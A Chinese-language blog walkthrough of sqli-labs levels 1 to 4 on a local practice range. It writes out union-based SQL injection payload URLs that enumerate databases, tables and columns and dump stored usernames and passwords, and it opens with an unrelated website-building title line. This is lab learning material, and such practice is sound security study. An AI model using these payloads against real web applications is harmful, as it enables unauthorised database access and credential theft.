湘潭網(wǎng)站建設(shè)是什么營銷網(wǎng)站建設(shè)流程
前言
最近一段時間想切入安全領(lǐng)域,因為本身有做數(shù)據(jù)庫運維工作,就打算從sql注入方向切入。而sql注入除了學(xué)習(xí)日常書本上的概念外,需要有個實踐的環(huán)境,剛好看到sqli-lab這個靶場,就打算先用這個來學(xué)習(xí)。
安裝部署
網(wǎng)上很多關(guān)于安裝部署的教程,很簡單。本人是下載PHPStudy進(jìn)行部署的。由于sqli-lab是用php5版本,現(xiàn)在很多一體化環(huán)境(我用wamp)的php都是7版本。我試過用github上有人修改sqli-lab適配php7版本,但是不清楚為什么報錯的時候不會回顯,這嚴(yán)重影響調(diào)試,所以還是換成PHPStudy,并且切換為php5版本進(jìn)行部署就好了。
Less1
進(jìn)入頁面測試
輸入http://localhost/sqli-labs/Less-1/進(jìn)入第一關(guān),地址和讀者的部署情況有關(guān)。我是直接把sqli-lab解壓放到apache的www目錄下。
第一關(guān)會要求我們輸入一個id作為傳參,我們嘗試id=1的情況:
之后嘗試id=2、id=3……一直到id=13,發(fā)現(xiàn)為空:
證明id=13不存在。
確定閉合方式
我們可以看一下php的源碼,打開Less-1的index.php
可以看到紅色框起來的部分,我們傳入的id直接拼接到sql查詢語句中。這給我們看到一個sql注入的漏洞,就是通過單引號閉合變量。例如我們傳參的時候帶入一個單引號,?然后通過 --?或者 #?忽略后續(xù)的語句,就形成了sql注入。
如果我們看不到源碼,怎么知道它是單引號閉合呢?漏洞都得測試出來,我們可以嘗試添加單引號、括號、雙引號等等方式去測試閉合情況。比如這里如果傳入id=1':
?因為多傳了一個單引號,所以實際拼接的語句變成了:
SELECT * FROM users WHERE id='1'' LIMIT 0,1
這個語句多了個單引號,肯定報錯了。
判斷列數(shù)
接下來判斷這個sql查詢一共有多少列。輸入:
http://localhost/sqli-labs/Less-1/?id=1' order by 1-- asd
這里通過單引號閉合,已經(jīng)形成形成了注入。依次增加order?by的數(shù)字,發(fā)現(xiàn)到order?by 4的時候,出現(xiàn)報錯:
?證明sql語句顯示的只有三列。
聯(lián)合注入
判斷了列數(shù)后,我們看看能否通過聯(lián)合查詢回顯數(shù)據(jù),輸入:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,2,3-- asd
可以看到第二、三列注入到“Your?Login?name”和“Your?Password”的顯示位置。我們輸入id=13的原因在于之前判斷了id=13是沒有數(shù)據(jù)的,那回顯的數(shù)據(jù)就會用union后面的數(shù)據(jù)了,如果輸入id=1,那回顯就是正常,而非我們想要注入的結(jié)果。這就是聯(lián)合注入的關(guān)鍵!
查詢具體的數(shù)據(jù)庫名、表名、列名
聯(lián)合注入成功后,其實離勝利已經(jīng)很近了。接下來要把查詢回顯的列替換成查詢數(shù)據(jù)庫名、表名、列名。先查詢數(shù)據(jù)庫名:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,database(),3-- asd
通過回顯可以看到目前查詢的表在名為security的庫中。
接下來查詢security庫中有什么表,通過information_schema的tables表可以找出來:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- asd
使用group_concat可以把全部表名顯示出來。不過有時候回顯的位置可能有長度限制或者顯示限制,這種方式有時候不準(zhǔn)確,所以更實在的方式是利用limit一個一個查出來:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1 -- asd
當(dāng)我們從limit 0,1一直到limit 3,1時,發(fā)現(xiàn)users這個表很可能就是包含用戶名密碼的表,我們要把它的數(shù)據(jù)查出來。查出來的前提是知道列名,通過information_schema的columns可查出:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- asd
通過回顯看到username和password似乎就是我們想要找的兩列,我們把它們查出來:
http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(username),group_concat(password) from security.users -- asd
至此賬號密碼已經(jīng)查出,sql注入成功!
Less2
第二關(guān)先看php源碼:
‘可以看到源碼是直接對獲得的id進(jìn)行拼接。所以第二關(guān)連單引號閉合都不需要了。根據(jù)第一關(guān)的經(jīng)驗,直接輸入:
http://localhost/sqli-labs/Less-2/?id=13 union select 1,group_concat(username),group_concat(password) from security.users -- asd
?
Less3
第三關(guān)同樣先看php源碼:
發(fā)現(xiàn)這次的拼接是帶了但括號,所以進(jìn)行變量閉合時帶上括號:
http://localhost/sqli-labs/Less-3/?id=13') union select 1,group_concat(username),group_concat(password) from security.users -- asd
Less4
同樣的先看源碼:
這次源碼對id的前后加了雙引號拼接,然后外面還有一層括號。這種情況我們就加個雙引號和括號去閉合:
http://localhost/sqli-labs/Less-4/?id=13") union select 1,group_concat(username),group_concat(password) from security.users -- asd
小結(jié)
第一關(guān)是很簡單的注入,不過其涉及到的內(nèi)容很多,剛接觸sql注入的朋友可能會有點懵。確實我剛開始也有點懵,因為一般做開發(fā)、做運維的朋友不會這樣去寫sql語句。當(dāng)概念都了解了之后,就會覺得其實也就這么回事,Less-1沒什么高大上的。另外注意這個靶場環(huán)境一定要搞好,否則很可能出現(xiàn)輸入同樣的查詢,得出來不一樣的結(jié)果,嚴(yán)重影響學(xué)習(xí)和理解效率。
這幾關(guān)我們都是看了源碼再操作。實際進(jìn)行注入攻擊當(dāng)然不可能看到源碼去注入,所以要嘗試,最好能看到報錯信息來確定。比如Less3我們用單引號閉合測試:
http://localhost/sqli-labs/Less-3/?id=1'
看到這個報錯信息,這里面有單引號,也有括號,那就可以確認(rèn)這題的閉合是和單引號、括號相關(guān)的。這類閉合方式來來去去就那幾種情況,實際攻擊的時候可以都試一下,再利用返回的報錯信息確認(rèn)是哪種情況